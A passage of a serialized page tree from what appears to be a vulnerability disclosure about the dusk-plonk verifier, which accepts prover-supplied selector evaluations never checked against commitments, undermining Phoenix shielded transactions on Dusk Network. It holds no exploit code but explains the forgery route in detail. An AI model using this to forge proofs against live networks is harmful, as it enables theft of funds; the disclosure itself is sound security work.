type":28,"value":142164},{"type":23,"tag":481,"props":142488,"children":142490},{"className":142489},[1572],[142491],{"type":23,"tag":481,"props":142492,"children":142494},{"className":142493},[1577,19140],[142495,142524],{"type":23,"tag":481,"props":142496,"children":142498},{"className":142497},[1582],[142499,142519],{"type":23,"tag":481,"props":142500,"children":142502},{"className":142501,"style":90631},[1587],[142503],{"type":23,"tag":481,"props":142504,"children":142505},{"style":91112},[142506,142510],{"type":23,"tag":481,"props":142507,"children":142509},{"className":142508,"style":1597},[1596],[],{"type":23,"tag":481,"props":142511,"children":142513},{"className":142512},[1602,1603,1604,1605],[142514],{"type":23,"tag":481,"props":142515,"children":142517},{"className":142516},[1555,1605],[142518],{"type":28,"value":15021},{"type":23,"tag":481,"props":142520,"children":142522},{"className":142521},[19243],[142523],{"type":28,"value":19246},{"type":23,"tag":481,"props":142525,"children":142527},{"className":142526},[1582],[142528],{"type":23,"tag":481,"props":142529,"children":142531},{"className":142530,"style":90662},[1587],[142532],{"type":23,"tag":481,"props":142533,"children":142534},{},[],{"type":23,"tag":481,"props":142536,"children":142538},{"className":142537},[19237],[142539],{"type":28,"value":12900},{"type":28,"value":142541},"), which are safe because the verifier never trusts a bare field element for these; it uses the commitment itself.",{"type":23,"tag":24,"props":142543,"children":142544},{},[142545],{"type":28,"value":142546},"Any term that falls outside those three categories is attacker-controlled by construction.",{"type":23,"tag":16288,"props":142548,"children":142549},{},[],{"type":23,"tag":31,"props":142551,"children":142553},{"id":142552},"where-dusk-plonk-differs-from-textbook-plonk",[142554],{"type":28,"value":142555},"Where dusk-plonk differs from textbook PLONK",{"type":23,"tag":24,"props":142557,"children":142558},{},[142559,142568,142570,142575,142577,142607],{"type":23,"tag":190,"props":142560,"children":142562},{"href":139434,"rel":142561},[194],[142563],{"type":23,"tag":64,"props":142564,"children":142566},{"className":142565},[],[142567],{"type":28,"value":139438},{"type":28,"value":142569}," is not a literal transcription of the 2019 PLONK paper. It extends the arithmetic gate with a fourth wire ",{"type":23,"tag":64,"props":142571,"children":142573},{"className":142572},[],[142574],{"type":28,"value":68094},{"type":28,"value":142576},", adds custom widgets for range, logic, and elliptic-curve operations, uses shifted evaluations at ",{"type":23,"tag":64,"props":142578,"children":142580},{"className":142579},[1527,1528],[142581],{"type":23,"tag":481,"props":142582,"children":142584},{"className":142583},[1533],[142585],{"type":23,"tag":481,"props":142586,"children":142588},{"className":142587,"ariaHidden":1539},[1538],[142589],{"type":23,"tag":481,"props":142590,"children":142592},{"className":142591},[1544],[142593,142597,142602],{"type":23,"tag":481,"props":142594,"children":142596},{"className":142595,"style":108420},[1549],[],{"type":23,"tag":481,"props":142598,"children":142600},{"className":142599,"style":111136},[1555,19086],[142601],{"type":28,"value":111139},{"type":23,"tag":481,"props":142603,"children":142605},{"className":142604,"style":91065},[1555,19086],[142606],{"type":28,"value":142269},{"type":28,"value":142608},", and heavily batches KZG openings. None of that is exotic by modern PLONK standards, but it does make the verifier harder to reason about than the minimal paper presentation.",{"type":23,"tag":24,"props":142610,"children":142611},{},[142612,142614,142619,142620,142625,142627,142633,142635,142642],{"type":28,"value":142613},"The important part for this bug is the boundary between ",{"type":23,"tag":2875,"props":142615,"children":142616},{},[142617],{"type":28,"value":142618},"public circuit data",{"type":28,"value":8478},{"type":23,"tag":2875,"props":142621,"children":142622},{},[142623],{"type":28,"value":142624},"prover claims about that data at the random challenge point",{"type":28,"value":142626},". Parallel implementations avoid this ambiguity by keeping selector polynomials strictly out of the prover's hands. For example, Consensys' gnark (one of the most widely deployed PLONK implementations) never asks the prover for selector evaluations at all. Instead, the verifier incorporates the selector commitments ",{"type":23,"tag":64,"props":142628,"children":142630},{"className":142629},[],[142631],{"type":28,"value":142632},"Ql, Qr, Qm, Qo, Qk",{"type":28,"value":142634}," directly into the ",{"type":23,"tag":190,"props":142636,"children":142639},{"href":142637,"rel":142638},"https://github.com/Consensys/gnark/blob/17b079f1b813d9dafd465202466b09f282b4c5e9/backend/plonk/bls12-381/verify.go#L253-L270",[194],[142640],{"type":28,"value":142641},"linearization multi-scalar multiplication",{"type":28,"value":142643},", ensuring their values are cryptographically bound by construction.",{"type":23,"tag":24,"props":142645,"children":142646},{},[142647,142649,142674],{"type":28,"value":142648},"Dusk's custom widgets were more complex (multiplying selectors with other evaluated terms), so they could not just use a simple linear combination of commitments. Their architecture required evaluating the selectors at ",{"type":23,"tag":64,"props":142650,"children":142652},{"className":142651},[1527,1528],[142653],{"type":23,"tag":481,"props":142654,"children":142656},{"className":142655},[1533],[142657],{"type":23,"tag":481,"props":142658,"children":142660},{"className":142659,"ariaHidden":1539},[1538],[142661],{"type":23,"tag":481,"props":142662,"children":142664},{"className":142663},[1544],[142665,142669],{"type":23,"tag":481,"props":142666,"children":142668},{"className":142667,"style":108420},[1549],[],{"type":23,"tag":481,"props":142670,"children":142672},{"className":142671,"style":111136},[1555,19086],[142673],{"type":28,"value":111139},{"type":28,"value":142675}," and using those scalars. But while they serialized those four selector evaluations into the proof struct, they never actually verified them against the verifier key's commitments through an opening proof.",{"type":23,"tag":24,"props":142677,"children":142678},{},[142679],{"type":28,"value":142680},"The shortest way to see the bug is the graph below: safe values flow through the opening path toward the final pairing check, while the red selector flow enters verifier logic without ever touching an opening proof.",{"type":23,"tag":142682,"props":142683,"children":142684},"dusk-verifier-dependence-graph",{},[],{"type":23,"tag":16288,"props":142686,"children":142687},{},[],{"type":23,"tag":31,"props":142689,"children":142691},{"id":142690},"how-dusk-uses-plonk",[142692],{"type":28,"value":142693},"How Dusk uses PLONK",{"type":23,"tag":24,"props":142695,"children":142696},{},[142697,142703],{"type":23,"tag":190,"props":142698,"children":142700},{"href":139443,"rel":142699},[194],[142701],{"type":28,"value":142702},"Dusk Network",{"type":28,"value":142704}," is a privacy-focused L1 blockchain. Its transaction model has two modes:",{"type":23,"tag":14178,"props":142706,"children":142707},{},[142708,142713],{"type":23,"tag":77,"props":142709,"children":142710},{},[142711],{"type":28,"value":142712},"Phoenix (shielded): amounts and participants are hidden using ZK proofs, and every Phoenix transaction carries a PLONK proof that the transaction is valid.",{"type":23,"tag":77,"props":142714,"children":142715},{},[142716],{"type":28,"value":142717},"Moonlight (transparent): standard account-based transactions verified by BLS signatures, with no PLONK involvement.",{"type":23,"tag":24,"props":142719,"children":142720},{},[142721,142723,142734,142736,142747],{"type":28,"value":142722},"At node level, every ",{"type":23,"tag":190,"props":142724,"children":142727},{"href":142725,"rel":142726},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L152-L185",[194],[142728],{"type":23,"tag":64,"props":142729,"children":142731},{"className":142730},[],[142732],{"type":28,"value":142733},"ProtocolTransaction::Phoenix",{"type":28,"value":142735}," goes through ",{"type":23,"tag":190,"props":142737,"children":142740},{"href":142738,"rel":142739},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/verifier.rs#L71-L82",[194],[142741],{"type":23,"tag":64,"props":142742,"children":142744},{"className":142743},[],[142745],{"type":28,"value":142746},"verify_proof_with_version()",{"type":28,"value":142748}," during preverification. If that PLONK proof verifies, the transaction is admitted to the mempool and can later be mined into a block. Moonlight-path transactions instead go through BLS signature verification.",{"type":23,"tag":24,"props":142750,"children":142751},{},[142752,142754,142765,142767,142778,142779,142790,142791,142802,142803,142814],{"type":28,"value":142753},"That same Phoenix proof path covers more than simple shielded transfers. Phoenix-path staking, reward withdrawals, unstaking, and Phoenix-to-Moonlight conversion all build a Phoenix transaction via ",{"type":23,"tag":190,"props":142755,"children":142758},{"href":142756,"rel":142757},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L54-L95",[194],[142759],{"type":23,"tag":64,"props":142760,"children":142762},{"className":142761},[],[142763],{"type":28,"value":142764},"phoenix()",{"type":28,"value":142766},", for example in ",{"type":23,"tag":190,"props":142768,"children":142771},{"href":142769,"rel":142770},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L144-L186",[194],[142772],{"type":23,"tag":64,"props":142773,"children":142775},{"className":142774},[],[142776],{"type":28,"value":142777},"phoenix_stake()",{"type":28,"value":588},{"type":23,"tag":190,"props":142780,"children":142783},{"href":142781,"rel":142782},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L240-L298",[194],[142784],{"type":23,"tag":64,"props":142785,"children":142787},{"className":142786},[],[142788],{"type":28,"value":142789},"phoenix_stake_reward()",{"type":28,"value":588},{"type":23,"tag":190,"props":142792,"children":142795},{"href":142793,"rel":142794},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L358-L416",[194],[142796],{"type":23,"tag":64,"props":142797,"children":142799},{"className":142798},[],[142800],{"type":28,"value":142801},"phoenix_unstake()",{"type":28,"value":3965},{"type":23,"tag":190,"props":142804,"children":142807},{"href":142805,"rel":142806},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L481-L539",[194],[142808],{"type":23,"tag":64,"props":142809,"children":142811},{"className":142810},[],[142812],{"type":28,"value":142813},"phoenix_to_moonlight()",{"type":28,"value":142815},". So if Phoenix proof verification is unsound, the entire shielded transaction path is exposed.",{"type":23,"tag":24,"props":142817,"children":142818},{},[142819],{"type":23,"tag":149,"props":142820,"children":142823},{"alt":142821,"src":142822},"phoenix_moonlight","/posts/dusk-commitment-issues/phoenix_moonlight.svg",[],{"type":23,"tag":24,"props":142825,"children":142826},{},[142827,142829,142835,142837,142844],{"type":28,"value":142828},"The PLONK implementation, ",{"type":23,"tag":190,"props":142830,"children":142833},{"href":142831,"rel":142832},"https://github.com/dusk-network/plonk",[194],[142834],{"type":28,"value":139438},{"type":28,"value":142836},", is a standalone library by the Dusk team. It was among the first PLONK implementations written, with development starting the same year ",{"type":23,"tag":190,"props":142838,"children":142841},{"href":142839,"rel":142840},"https://eprint.iacr.org/archive/2019/953/1566424053.pdf",[194],[142842],{"type":28,"value":142843},"the original paper",{"type":28,"value":142845}," was released.",{"type":23,"tag":24,"props":142847,"children":142848},{},[142849,142851,142857],{"type":28,"value":142850},"The Phoenix transaction PLONK circuit is defined ",{"type":23,"tag":190,"props":142852,"children":142855},{"href":142853,"rel":142854},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L20-L205",[194],[142856],{"type":28,"value":45109},{"type":28,"value":142858},". The circuit enforces the following set of constraints:",{"type":23,"tag":53271,"props":142860,"children":142861},{},[142862,142878],{"type":23,"tag":120530,"props":142863,"children":142864},{},[142865],{"type":23,"tag":120534,"props":142866,"children":142867},{},[142868,142873],{"type":23,"tag":120538,"props":142869,"children":142870},{},[142871],{"type":28,"value":142872},"Circuit check",{"type":23,"tag":120538,"props":142874,"children":142875},{},[142876],{"type":28,"value":142877},"Statement being checked",{"type":23,"tag":120558,"props":142879,"children":142880},{},[142881,142899,142917,142935,142953,143110,143250,143268],{"type":23,"tag":120534,"props":142882,"children":142883},{},[142884,142894],{"type":23,"tag":120565,"props":142885,"children":142886},{},[142887],{"type":23,"tag":190,"props":142888,"children":142891},{"href":142889,"rel":142890},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L106-L126",[194],[142892],{"type":28,"value":142893},"Merkle tree membership",{"type":23,"tag":120565,"props":142895,"children":142896},{},[142897],{"type":28,"value":142898},"Each input note hash is opened against the public Merkle root, so only notes already in the note tree may be spent",{"type":23,"tag":120534,"props":142900,"children":142901},{},[142902,142912],{"type":23,"tag":120565,"props":142903,"children":142904},{},[142905],{"type":23,"tag":190,"props":142906,"children":142909},{"href":142907,"rel":142908},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L70-L79",[194],[142910],{"type":28,"value":142911},"Input-note secret-key authorization",{"type":23,"tag":120565,"props":142913,"children":142914},{},[142915],{"type":28,"value":142916},"The prover knows the secret key controlling each input note",{"type":23,"tag":120534,"props":142918,"children":142919},{},[142920,142930],{"type":23,"tag":120565,"props":142921,"children":142922},{},[142923],{"type":23,"tag":190,"props":142924,"children":142927},{"href":142925,"rel":142926},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L81-L87",[194],[142928],{"type":28,"value":142929},"Nullifier correctness",{"type":23,"tag":120565,"props":142931,"children":142932},{},[142933],{"type":28,"value":142934},"Each nullifier matches the corresponding note key and position",{"type":23,"tag":120534,"props":142936,"children":142937},{},[142938,142948],{"type":23,"tag":120565,"props":142939,"children":142940},{},[142941],{"type":23,"tag":190,"props":142942,"children":142945},{"href":142943,"rel":142944},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L149-L160",[194],[142946],{"type":28,"value":142947},"Output value commitment correctness",{"type":23,"tag":120565,"props":142949,"children":142950},{},[142951],{"type":28,"value":142952},"Each public output commitment matches the secret output value and blinder",{"type":23,"tag":120534,"props":142954,"children":142955},{},[142956,142966],{"type":23,"tag":120565,"props":142957,"children":142958},{},[142959],{"type":23,"tag":190,"props":142960,"children":142963},{"href":142961,"rel":142962},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L167-L178",[194],[142964],{"type":28,"value":142965},"Balance integrity",{"type":23,"tag":120565,"props":142967,"children":142968},{},[142969],{"type":23,"tag":64,"props":142970,"children":142972},{"className":142971},[1527,1528],[142973],{"type":23,"tag":481,"props":142974,"children":142976},{"className":142975},[1533],[142977],{"type":23,"tag":481,"props":142978,"children":142980},{"className":142979,"ariaHidden":1539},[1538],[142981,143021,143061,143093],{"type":23,"tag":481,"props":142982,"children":142984},{"className":142983},[1544],[142985,142989,142994,142998,143008,143012,143017],{"type":23,"tag":481,"props":142986,"children":142988},{"className":142987,"style":1657},[1549],[],{"type":23,"tag":481,"props":142990,"children":142992},{"className":142991,"style":19129},[19122,19127,19128],[142993],{"type":28,"value":106374},{"type":23,"tag":481,"props":142995,"children":142997},{"className":142996,"style":1675},[1636],[],{"type":23,"tag":481,"props":142999,"children":143001},{"className":143000},[1555,28],[143002],{"type":23,"tag":481,"props":143003,"children":143005},{"className":143004},[1555],[143006],{"type":28,"value":143007},"inputs",{"type":23,"tag":481,"props":143009,"children":143011},{"className":143010,"style":1734},[1636],[],{"type":23,"tag":481,"props":143013,"children":143015},{"className":143014},[1739],[143016],{"type":28,"value":603},{"type":23,"tag":481,"props":143018,"children":143020},{"className":143019,"style":1734},[1636],[],{"type":23,"tag":481,"props":143022,"children":143024},{"className":143023},[1544],[143025,143029,143034,143038,143048,143052,143057],{"type":23,"tag":481,"props":143026,"children":143028},{"className":143027,"style":1657},[1549],[],{"type":23,"tag":481,"props":143030,"children":143032},{"className":143031,"style":19129},[19122,19127,19128],[143033],{"type":28,"value":106374},{"type":23,"tag":481,"props":143035,"children":143037},{"className":143036,"style":1675},[1636],[],{"type":23,"tag":481,"props":143039,"children":143041},{"className":143040},[1555,28],[143042],{"type":23,"tag":481,"props":143043,"children":143045},{"className":143044},[1555],[143046],{"type":28,"value":143047},"outputs",{"type":23,"tag":481,"props":143049,"children":143051},{"className":143050,"style":1637},[1636],[],{"type":23,"tag":481,"props":143053,"children":143055},{"className":143054},[1642],[143056],{"type":28,"value":1930},{"type":23,"tag":481,"props":143058,"children":143060},{"className":143059,"style":1637},[1636],[],{"type":23,"tag":481,"props":143062,"children":143064},{"className":143063},[1544],[143065,143070,143080,143084,143089],{"type":23,"tag":481,"props":143066,"children":143069},{"className":143067,"style":143068},[1549],"height:0.7778em;vertical-align:-0.0833em;",[],{"type":23,"tag":481,"props":143071,"children":143073},{"className":143072},[1555,28],[143074],{"type":23,"tag":481,"props":143075,"children":143077},{"className":143076},[1555],[143078],{"type":28,"value":143079},"fee",{"type":23,"tag":481,"props":143081,"children":143083},{"className":143082,"style":1637},[1636],[],{"type":23,"tag":481,"props":143085,"children":143087},{"className":143086},[1642],[143088],{"type":28,"value":1930},{"type":23,"tag":481,"props":143090,"children":143092},{"className":143091,"style":1637},[1636],[],{"type":23,"tag":481,"props":143094,"children":143096},{"className":143095},[1544],[143097,143101],{"type":23,"tag":481,"props":143098,"children":143100},{"className":143099,"style":112634},[1549],[],{"type":23,"tag":481,"props":143102,"children":143104},{"className":143103},[1555,28],[143105],{"type":23,"tag":481,"props":143106,"children":143108},{"className":143107},[1555],[143109],{"type":28,"value":59491},{"type":23,"tag":120534,"props":143111,"children":143112},{},[143113,143130],{"type":23,"tag":120565,"props":143114,"children":143115},{},[143116,143123,143124],{"type":23,"tag":190,"props":143117,"children":143120},{"href":143118,"rel":143119},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L89-L90",[194],[143121],{"type":28,"value":143122},"Range checks on inputs",{"type":28,"value":8478},{"type":23,"tag":190,"props":143125,"children":143128},{"href":143126,"rel":143127},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L141-L142",[194],[143129],{"type":28,"value":143047},{"type":23,"tag":120565,"props":143131,"children":143132},{},[143133,143135],{"type":28,"value":143134},"All note values lie in ",{"type":23,"tag":64,"props":143136,"children":143138},{"className":143137},[1527,1528],[143139],{"type":23,"tag":481,"props":143140,"children":143142},{"className":143141},[1533],[143143],{"type":23,"tag":481,"props":143144,"children":143146},{"className":143145,"ariaHidden":1539},[1538],[143147,143232],{"type":23,"tag":481,"props":143148,"children":143150},{"className":143149},[1544],[143151,143155,143160,143165,143170,143174,143219,143223,143228],{"type":23,"tag":481,"props":143152,"children":143154},{"className":143153,"style":112891},[1549],[],{"type":23,"tag":481,"props":143156,"children":143158},{"className":143157},[19215],[143159],{"type":28,"value":1269},{"type":23,"tag":481,"props":143161,"children":143163},{"className":143162},[1555],[143164],{"type":28,"value":1568},{"type":23,"tag":481,"props":143166,"children":143168},{"className":143167},[1668],[143169],{"type":28,"value":1671},{"type":23,"tag":481,"props":143171,"children":143173},{"className":143172,"style":1675},[1636],[],{"type":23,"tag":481,"props":143175,"children":143177},{"className":143176},[1555],[143178,143183],{"type":23,"tag":481,"props":143179,"children":143181},{"className":143180},[1555],[143182],{"type":28,"value":637},{"type":23,"tag":481,"props":143184,"children":143186},{"className":143185},[1572],[143187],{"type":23,"tag":481,"props":143188,"children":143190},{"className":143189},[1577],[143191],{"type":23,"tag":481,"props":143192,"children":143194},{"className":143193},[1582],[143195],{"type":23,"tag":481,"props":143196,"children":143198},{"className":143197,"style":1550},[1587],[143199],{"type":23,"tag":481,"props":143200,"children":143201},{"style":1591},[143202,143206],{"type":23,"tag":481,"props":143203,"children":143205},{"className":143204,"style":1597},[1596],[],{"type":23,"tag":481,"props":143207,"children":143209},{"className":143208},[1602,1603,1604,1605],[143210],{"type":23,"tag":481,"props":143211,"children":143213},{"className":143212},[1555,1605],[143214],{"type":23,"tag":481,"props":143215,"children":143217},{"className":143216},[1555,1605],[143218],{"type":28,"value":26936},{"type":23,"tag":481,"props":143220,"children":143222},{"className":143221,"style":1637},[1636],[],{"type":23,"tag":481,"props":143224,"children":143226},{"className":143225},[1642],[143227],{"type":28,"value":1616},{"type":23,"tag":481,"props":143229,"children":143231},{"className":143230,"style":1637},[1636],[],{"type":23,"tag":481,"props":143233,"children":143235},{"className":143234},[1544],[143236,143240,143245],{"type":23,"tag":481,"props":143237,"children":143239},{"className":143238,"style":1657},[1549],[],{"type":23,"tag":481,"props":143241,"children":143243},{"className":143242},[1555],[143244],{"type":28,"value":1558},{"type":23,"tag":481,"props":143246,"children":143248},{"className":143247},[19237],[143249],{"type":28,"value":12900},{"type":23,"tag":120534,"props":143251,"children":143252},{},[143253,143263],{"type":23,"tag":120565,"props":143254,"children":143255},{},[143256],{"type":23,"tag":190,"props":143257,"children":143260},{"href":143258,"rel":143259},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L28-L51",[194],[143261],{"type":28,"value":143262},"Sender-authorship signatures",{"type":23,"tag":120565,"props":143264,"children":143265},{},[143266],{"type":28,"value":143267},"The transaction payload is signed by the sender's two signing key components",{"type":23,"tag":120534,"props":143269,"children":143270},{},[143271,143281],{"type":23,"tag":120565,"props":143272,"children":143273},{},[143274],{"type":23,"tag":190,"props":143275,"children":143278},{"href":143276,"rel":143277},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L63-L121",[194],[143279],{"type":28,"value":143280},"Sender encryption correctness",{"type":23,"tag":120565,"props":143282,"children":143283},{},[143284],{"type":28,"value":143285},"The sender data attached to each output note is a correct ElGamal encryption under the recipient note key",{"type":23,"tag":24,"props":143287,"children":143288},{},[143289,143291,143297,143299,143308],{"type":28,"value":143290},"Rusk does not consume these claims one by one. It consumes a single valid/invalid proof verdict over ",{"type":23,"tag":64,"props":143292,"children":143294},{"className":143293},[],[143295],{"type":28,"value":143296},"tx.public_inputs()",{"type":28,"value":143298}," via ",{"type":23,"tag":190,"props":143300,"children":143302},{"href":142738,"rel":143301},[194],[143303],{"type":23,"tag":64,"props":143304,"children":143306},{"className":143305},[],[143307],{"type":28,"value":142746},{"type":28,"value":199},{"type":23,"tag":24,"props":143310,"children":143311},{},[143312],{"type":28,"value":143313},"A soundness break in PLONK voids all of these constraints simultaneously, because forged selector evaluations make the entire circuit unconstrained rather than targeting any single check.",{"type":23,"tag":16288,"props":143315,"children":143316},{},[],{"type":23,"tag":31,"props":143318,"children":143319},{"id":87833},[143320],{"type":28,"value":143321},"The bug",{"type":23,"tag":24,"props":143323,"children":143324},{},[143325,143327,143334,143336,143347],{"type":28,"value":143326},"In the ",{"type":23,"tag":190,"props":143328,"children":143331},{"href":143329,"rel":143330},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L400",[194],[143332],{"type":28,"value":143333},"PLONK verification",{"type":28,"value":143335},", the verifier batches polynomial evaluations into a single KZG opening proof check. The evaluations included in this batch (committed via ",{"type":23,"tag":190,"props":143337,"children":143340},{"href":143338,"rel":143339},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L373",[194],[143341],{"type":23,"tag":64,"props":143342,"children":143344},{"className":143343},[],[143345],{"type":28,"value":143346},"E_evals",{"type":28,"value":143348},") are:",{"type":23,"tag":14178,"props":143350,"children":143351},{},[143352,143384,143409,143434],{"type":23,"tag":77,"props":143353,"children":143354},{},[143355,143361,143362,143368,143369,143375,143376,143382],{"type":23,"tag":64,"props":143356,"children":143358},{"className":143357},[],[143359],{"type":28,"value":143360},"a_eval",{"type":28,"value":588},{"type":23,"tag":64,"props":143363,"children":143365},{"className":143364},[],[143366],{"type":28,"value":143367},"b_eval",{"type":28,"value":588},{"type":23,"tag":64,"props":143370,"children":143372},{"className":143371},[],[143373],{"type":28,"value":143374},"c_eval",{"type":28,"value":588},{"type":23,"tag":64,"props":143377,"children":143379},{"className":143378},[],[143380],{"type":28,"value":143381},"d_eval",{"type":28,"value":143383}," (witness)",{"type":23,"tag":77,"props":143385,"children":143386},{},[143387,143393,143394,143400,143401,143407],{"type":23,"tag":64,"props":143388,"children":143390},{"className":143389},[],[143391],{"type":28,"value":143392},"s_sigma_1_eval",{"type":28,"value":588},{"type":23,"tag":64,"props":143395,"children":143397},{"className":143396},[],[143398],{"type":28,"value":143399},"s_sigma_2_eval",{"type":28,"value":588},{"type":23,"tag":64,"props":143402,"children":143404},{"className":143403},[],[143405],{"type":28,"value":143406},"s_sigma_3_eval",{"type":28,"value":143408}," (permutation)",{"type":23,"tag":77,"props":143410,"children":143411},{},[143412,143418,143419,143425,143426,143432],{"type":23,"tag":64,"props":143413,"children":143415},{"className":143414},[],[143416],{"type":28,"value":143417},"a_w_eval",{"type":28,"value":588},{"type":23,"tag":64,"props":143420,"children":143422},{"className":143421},[],[143423],{"type":28,"value":143424},"b_w_eval",{"type":28,"value":588},{"type":23,"tag":64,"props":143427,"children":143429},{"className":143428},[],[143430],{"type":28,"value":143431},"d_w_eval",{"type":28,"value":143433}," (shifted witness)",{"type":23,"tag":77,"props":143435,"children":143436},{},[143437,143443],{"type":23,"tag":64,"props":143438,"children":143440},{"className":143439},[],[143441],{"type":28,"value":143442},"z_eval",{"type":28,"value":143444}," (permutation accumulator)",{"type":23,"tag":24,"props":143446,"children":143447},{},[143448,143450,143454],{"type":28,"value":143449},"But the following selector evaluations were ",{"type":23,"tag":127,"props":143451,"children":143452},{},[143453],{"type":28,"value":15983},{"type":28,"value":143455}," included:",{"type":23,"tag":14178,"props":143457,"children":143458},{},[143459,143470,143481,143492],{"type":23,"tag":77,"props":143460,"children":143461},{},[143462,143468],{"type":23,"tag":64,"props":143463,"children":143465},{"className":143464},[],[143466],{"type":28,"value":143467},"q_arith_eval",{"type":28,"value":143469}," (arithmetic selector)",{"type":23,"tag":77,"props":143471,"children":143472},{},[143473,143479],{"type":23,"tag":64,"props":143474,"children":143476},{"className":143475},[],[143477],{"type":28,"value":143478},"q_c_eval",{"type":28,"value":143480}," (constant selector)",{"type":23,"tag":77,"props":143482,"children":143483},{},[143484,143490],{"type":23,"tag":64,"props":143485,"children":143487},{"className":143486},[],[143488],{"type":28,"value":143489},"q_l_eval",{"type":28,"value":143491}," (left selector)",{"type":23,"tag":77,"props":143493,"children":143494},{},[143495,143501],{"type":23,"tag":64,"props":143496,"children":143498},{"className":143497},[],[143499],{"type":28,"value":143500},"q_r_eval",{"type":28,"value":143502}," (right selector)",{"type":23,"tag":24,"props":143504,"children":143505},{},[143506,143508,143515,143516,143523,143524,143531,143532,143539],{"type":28,"value":143507},"The prover places four selector evaluations in the proof struct. The verifier absorbs them into the transcript, and the widget verifier code uses them directly in the linearization check (",{"type":23,"tag":190,"props":143509,"children":143512},{"href":143510,"rel":143511},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/linearization_poly.rs#L33-L83",[194],[143513],{"type":28,"value":143514},"proof struct",{"type":28,"value":588},{"type":23,"tag":190,"props":143517,"children":143520},{"href":143518,"rel":143519},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L255-L286",[194],[143521],{"type":28,"value":143522},"transcript absorption",{"type":28,"value":588},{"type":23,"tag":190,"props":143525,"children":143528},{"href":143526,"rel":143527},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/arithmetic/verifierkey.rs#L92-L118",[194],[143529],{"type":28,"value":143530},"arithmetic widget",{"type":28,"value":588},{"type":23,"tag":190,"props":143533,"children":143536},{"href":143534,"rel":143535},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/ecc/scalar_mul/fixed_base/verifierkey.rs#L46-L102",[194],[143537],{"type":28,"value":143538},"fixed-base ECC widget",{"type":28,"value":143540},"). But they are never checked against the corresponding selector commitments in the verifier key, even though those commitments already exist. The prover sends whatever values it wants and the verifier trusts them.",{"type":23,"tag":24,"props":143542,"children":143543},{},[143544,143546,143550],{"type":28,"value":143545},"The easiest way to see why these four omissions are special is to contrast them with two nearby cases that are ",{"type":23,"tag":127,"props":143547,"children":143548},{},[143549],{"type":28,"value":15983},{"type":28,"value":143551}," bugs:",{"type":23,"tag":14178,"props":143553,"children":143554},{},[143555,143695],{"type":23,"tag":77,"props":143556,"children":143557},{},[143558,143560,143605,143607,143613,143615,143620,143621,143626,143627,143632,143634,143640,143642,143687,143689,143694],{"type":28,"value":143559},"There is no prover-supplied ",{"type":23,"tag":64,"props":143561,"children":143563},{"className":143562},[1527,1528],[143564],{"type":23,"tag":481,"props":143565,"children":143567},{"className":143566},[1533],[143568],{"type":23,"tag":481,"props":143569,"children":143571},{"className":143570,"ariaHidden":1539},[1538],[143572],{"type":23,"tag":481,"props":143573,"children":143575},{"className":143574},[1544],[143576,143580,143585,143590,143595,143600],{"type":23,"tag":481,"props":143577,"children":143579},{"className":143578,"style":1657},[1549],[],{"type":23,"tag":481,"props":143581,"children":143583},{"className":143582},[1555,19086],[143584],{"type":28,"value":661},{"type":23,"tag":481,"props":143586,"children":143588},{"className":143587},[19215],[143589],{"type":28,"value":618},{"type":23,"tag":481,"props":143591,"children":143593},{"className":143592,"style":111136},[1555,19086],[143594],{"type":28,"value":111139},{"type":23,"tag":481,"props":143596,"children":143598},{"className":143597,"style":91065},[1555,19086],[143599],{"type":28,"value":142269},{"type":23,"tag":481,"props":143601,"children":143603},{"className":143602},[19237],[143604],{"type":28,"value":642},{"type":28,"value":143606}," field at all. ",{"type":23,"tag":64,"props":143608,"children":143610},{"className":143609},[],[143611],{"type":28,"value":143612},"ProofEvaluations",{"type":28,"value":143614}," contains 